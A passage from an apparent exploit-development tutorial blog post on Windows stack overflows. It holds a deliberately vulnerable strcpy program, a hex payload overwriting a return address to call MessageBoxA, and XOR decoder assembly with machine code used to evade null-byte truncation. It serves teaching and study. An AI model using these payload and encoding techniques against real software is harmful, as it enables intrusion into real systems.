is 0x000407EA.\u003C\u002Fp>\u003Cp>As shown in the figure.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018787556_2_3aa06e4af6-1.png\">\u003C\u002Fp>\u003Cp>Thus, the entry address of MessageBoxA in memory on this system is 0x77D10000 + 0x000407EA = 0x77D507EA.\u003C\u002Fp>\u003Cp>Replace the machine code corresponding to the entry address of MessageBoxA in the book.\u003C\u002Fp>\u003Cp>The final content of password.txt is as follows (hexadecimal view):\u003C\u002Fp>\u003Cp>00000000h: 33 DB 53 68 77 65 73 74 68 66 61 69 6C 8B C4 53 ; 3跾hwesthfail嬆S\u003C\u002Fp>\u003Cp>00000010h: 50 50 53 B8 EA 07 D5 77 FF D0 90 90 90 90 90 90 ; PPS戈.誻袗悙悙?\u003C\u002Fp>\u003Cp>00000020h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙\u003C\u002Fp>\u003Cp>00000030h: 90 90 90 90 7C FB 12 00                         ; 悙悙|?.\u003C\u002Fp>\u003Cp>The final program runs as shown in the figure, with stack overflow successfully triggered on our test system.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018801001_3_dfcea066d1-1.png\">\u003C\u002Fp>\u003Ch2>0x03 Optimization of MessageBox Shellcode in Stack Overflow\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The previous section briefly introduced the principles and operation methods of the stack overflow example. This section will explain how to optimize our self-developed shellcode, specifically the MessageBox shellcode example, and achieve exploitation by combining it with specific vulnerabilities.\u003C\u002Fp>\u003Cp>Download link for the MessageBox shellcode example:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>Shellcode length: 1536\u003C\u002Fp>\u003Cp>\u003Cstrong>(1) Modify the example program so that its array is sufficient to store our shellcode\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Complete code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#include \u003Cstdio.h>\u003Cbr>#include \u003Cwindows.h>\u003Cbr>#define PASSWORD \"1234567\"\u003Cbr>\u003Cbr>int verify_password (char *password)\u003Cbr>{\u003Cbr>\tint authenticated;\u003Cbr>\tchar buffer[1556];\u003Cbr>\tauthenticated = strcmp(password, PASSWORD);\u003Cbr>\tstrcpy(buffer, password);\u003Cbr>\treturn authenticated;\u003Cbr>}\u003Cbr>\u003Cbr>int main()\u003Cbr>{\u003Cbr>\tint valid_flag = 0;\u003Cbr>\tchar password[2048] = {0};\u003Cbr>\tFILE *fp;\u003Cbr>\tif (!(fp = fopen(\"password2.txt\", \"rb\")))\u003Cbr>\t\treturn 0;\u003Cbr>\tfread(password, 1568, 1, fp);\u003Cbr>\tvalid_flag = verify_password(password);\u003Cbr>\tif (valid_flag)\u003Cbr>\t{\u003Cbr>\t\tprintf(\"wrong\\n\");\u003Cbr>\t}\u003Cbr>\telse\u003Cbr>\t{\u003Cbr>\t\tprintf(\"right\\n\");\u003Cbr>\t}\u003Cbr>\tfclose(fp);\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Fwindows.h>\u003C\u002Fstdio.h>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Buffer length increased to 1556 to store the popup instance shellcode\u003C\u002Fp>\u003Cp>Based on the previous example, the offset for overwriting the return address is 9-12, so the password length is increased to 1556+12=1568\u003C\u002Fp>\u003Cp>\u003Cstrong>(2) strcpy truncates when encountering character 00\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>As shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018807892_4_2afaea7349-1.png\">\u003C\u002Fp>\u003Cp>The shellcode instance in the pop-up has a character 0x00 at address 00000009h. When strcpy executes, encountering 0x00 causes premature truncation, resulting in incomplete shellcode that cannot overwrite the return address.\u003C\u002Fp>\u003Cp>Therefore, the shellcode needs to be encoded.\u003C\u002Fp>\u003Cp>For the reader's convenience, following the method in Section 3.5.2 of '0day Security: Software Vulnerability Analysis Technology' (this section provides detailed explanations, so the process is not reiterated here):\u003C\u002Fp>\u003Cul>\u003Cli>Add the termination character 0x90 to the end of the shellcode.\u003C\u002Fli>\u003Cli>Encrypt the shellcode byte by byte using XOR with 0x44.\u003C\u002Fli>\u003Cli>Assemble the decoder and extract the machine code.\u003C\u002Fli>\u003Cli>Place the decoder's machine code at the beginning of the shellcode.\u003C\u002Fli>\u003Cli>The decoder aligns EAX to the starting position of the shellcode, decrypts byte by byte using XOR with 0x44, and stops upon encountering 0x90.\u003C\u002Fli>\u003C\u002Ful>\u003Cp>The assembly code for the decoder is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>void main()\u003Cbr>{\u003Cbr>\t__asm\u003Cbr>\t{\u003Cbr>\t\tadd eax,0x14\u003Cbr>\t\txor ecx,ecx\u003Cbr>decode_loop:\u003Cbr>\t\tmov bl,[eax+ecx]\u003Cbr>\t\txor bl,0x44\u003Cbr>\t\tmov [eax+ecx],bl\u003Cbr>\t\tinc ecx\u003Cbr>\t\tcmp bl,0x90\u003Cbr>\t\tjne decode_loop\u003Cbr>\t}\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Using OllyDbg, the extracted machine code is as follows:\u003C\u002Fp>\u003Cp>\"\\x83\\xC0\\x14\\x33\\xC9\\x8A\\x1C\\x08\\x80\\xF3\\x44\\x88\\x1C\\x08\\x41\\x80\\xFB\\x90\\x75\\xF1\"\u003C\u002Fp>\u003Cp>The new shellcode format is as follows:\u003C\u002Fp>\u003Cp>Decoder machine code + Encrypted message box example shellcode + 0xD4 + \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" + \"\\x7C\\xFB\\x12\\x00\"\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>0x90 ^ 0x44 = 0xD4, where 0xD4 is the encoded end character\u003C\u002Fp>\u003Cp>\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" is a padding string with no meaning\u003C\u002Fp>\u003Cp>\"\\x7C\\xFB\\x12\\x00\" is the overwritten function return address\u003C\u002Fp>\u003Cp>\u003Cstrong>(3) 0xD4 conflict\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>As shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018815356_5_f07b98ea5f-1.png\">\u003C\u002Fp>\u003Cp>The popup example shellcode also contains the termination character 0xD4, which would cause premature truncation during decryption, so a new termination character needs to be selected\u003C\u002Fp>\u003Cp>Alternatively, the shellcode can be encrypted in segments. For this specific shellcode, 0xD5 happens to be absent, so 0xD5 is used as the termination string, with the decryption character being 0x91\u003C\u002Fp>\u003Cp>The modified machine code is as follows:\u003C\u002Fp>\u003Cp>\"\\x83\\xC0\\x14\\x33\\xC9\\x8A\\x1C\\x08\\x80\\xF3\\x44\\x88\\x1C\\x08\\x41\\x80\\xFB\\x91\\x75\\xF1\"\u003C\u002Fp>\u003Cp>The modified shellcode format is as follows:\u003C\u002Fp>\u003Cp>Decoder machine code + encrypted popup example shellcode + 0xD5 + \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" + \"\\x7C\\xFB\\x12\\x00\"\u003C\u002Fp>\u003Cp>\u003Cstrong>(4) Shellcode encoding test\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Write a program to automatically read the original shellcode, encrypt it, add decryption machine code, and append the termination character\u003C\u002Fp>\u003Cp>The program has been uploaded to GitHub\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>After execution as shown, a new shellcode file is generated, and C-format shellcode is output to the screen\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018822373_6_ce9f2cd85c-1.png\">\u003C\u002Fp>\u003Cp>Using the following code, combined with the C-format shellcode output on screen, replace the array content to test the new encrypted shellcode\u003C\u002Fp>\u003Cp>Due to the lengthy code, it has been uploaded to GitHub at the following address:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>As shown, the shellcode executes successfully, achieving the decoder\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018828308_7_fecad0fa8c-1.png\">\u003C\u002Fp>\u003Cp>\u003Cstrong>(5) Testing the new shellcode in stack overflow\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Fill in the decoder machine code, the complete shellcode format is as follows:\u003C\u002Fp>\u003Cp>\"\\x83\\xC0\\x14\\x33\\xC9\\x8A\\x1C\\x08\\x80\\xF3\\x44\\x88\\x1C\\x08\\x41\\x80\\xFB\\x91\\x75\\xF1\"+encrypted pop-up example shellcode+0xD5+\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"+\"\\x7C\\xFB\\x12\\x00\"\u003C\u002Fp>\u003Cp>Still encountering errors in the stack overflow test program, use OllyDbg to load and continue debugging\u003C\u002Fp>\u003Cp>As shown below, successfully overwriting the function return address, then press F8 for single-step debugging\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018832618_8_53fedff336-1.png\">\u003C\u002Fp>\u003Cp>As shown below, an exception is discovered at this point: the EAX register value is 909090D5. Normally, EAX should hold the starting address of the Buffer to successfully locate and decrypt the shellcode\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018835823_9_cfefe20b3e-1.png\">\u003C\u002Fp>\u003Cp>However, the register EDX holds the starting address of the buffer\u003C\u002Fp>\u003Cp>Therefore, we need to modify the decoder\u003C\u002Fp>\u003Cp>\u003Cstrong>(6) Modify the decoder\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Choose the simplest and most direct method: align EDX to the starting position of the shellcode. The implemented assembly code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>void main()\u003Cbr>{\u003Cbr>\t__asm\u003Cbr>\t{\u003Cbr>\t\tadd edx,0x14\u003Cbr>\t\txor ecx,ecx\u003Cbr>decode_loop:\u003Cbr>\t\tmov bl,[edx+ecx]\u003Cbr>\t\txor bl,0x44\u003Cbr>\t\tmov [edx+ecx],bl\u003Cbr>\t\tinc ecx\u003Cbr>\t\tcmp bl,0x90\u003Cbr>\t\tjne decode_loop\u003Cbr>\u003Cbr>\t}\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Load the program in OllyDbg and extract the machine code, as shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018837091_10_0e10106bda-1.png\">\u003C\u002Fp>\u003Cp>The new decoder machine code is:\u003C\u002Fp>\u003Cp>\"\\x83\\xC2\\x14\\x33\\xC9\\x8A\\x1C\\x0A\\x80\\xF3\\x44\\x88\\x1C\\x0A\\x41\\x80\\xFB\\x91\\x75\\xF1\"\u003C\u002Fp>\u003Cp>The final shellcode is:\u003C\u002Fp>\u003Cp>\"\\x83\\xC2\\x14\\x33\\xC9\\x8A\\x1C\\x0A\\x80\\xF3\\x44\\x88\\x1C\\x0A\\x41\\x80\\xFB\\x91\\x75\\xF1\"+encrypted message box example shellcode+0xD5+\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"+\"\\x7C\\xFB\\x12\\x00\"\u003C\u002Fp>\u003Cp>The complete shellcode has been uploaded to GitHub at:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>Test the stack overflow again, as shown in the figure, the shellcode executes successfully\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018837781_11_9cd2d4fd43-1.png\">\u003C\u002Fp>\u003Cp>Since the shellcode implements dynamic API address retrieval on its own, the LoadLibrary(\"user32.dll\"); in the stack overflow test program can be omitted\u003C\u002Fp>\u003Ch2>0x04 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article provides a brief description of the principles of stack overflow, focusing on the optimization, debugging, and exploitation techniques of shellcode in specific stack overflow environments.\u003C\u002Fp>\u003Cp>Of course, the aforementioned shellcode has a drawback: the starting address of the shellcode in memory is often not fixed, which may lead to unsuccessful vulnerability exploitation.\u003C\u002Fp>\u003Cp>The next article will address this issue.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",1335,"Onedaysec",8,"published","2026-02-02T08:04:56.384Z",{"title":37,"description":14,"keywords":38,"ogImage":39,"canonicalUrl":39,"noIndex":40},"Windows Shellcode Exploitation: Stack Overflow Optimization & Study","Windows shellcode, stack overflow exploitation, buffer overflow, shellcode optimization, Win32 API, exploit development, security analysis",null,false,[],{"docs":43,"hasNextPage":40},[44,4,45,46],362,360,359,{"title":39,"description":39,"image":39},"2026-07-24T15:37:13.926Z","2026-07-23T16:01:26.370Z","draft","2026-07-23T16:05:37.198Z"]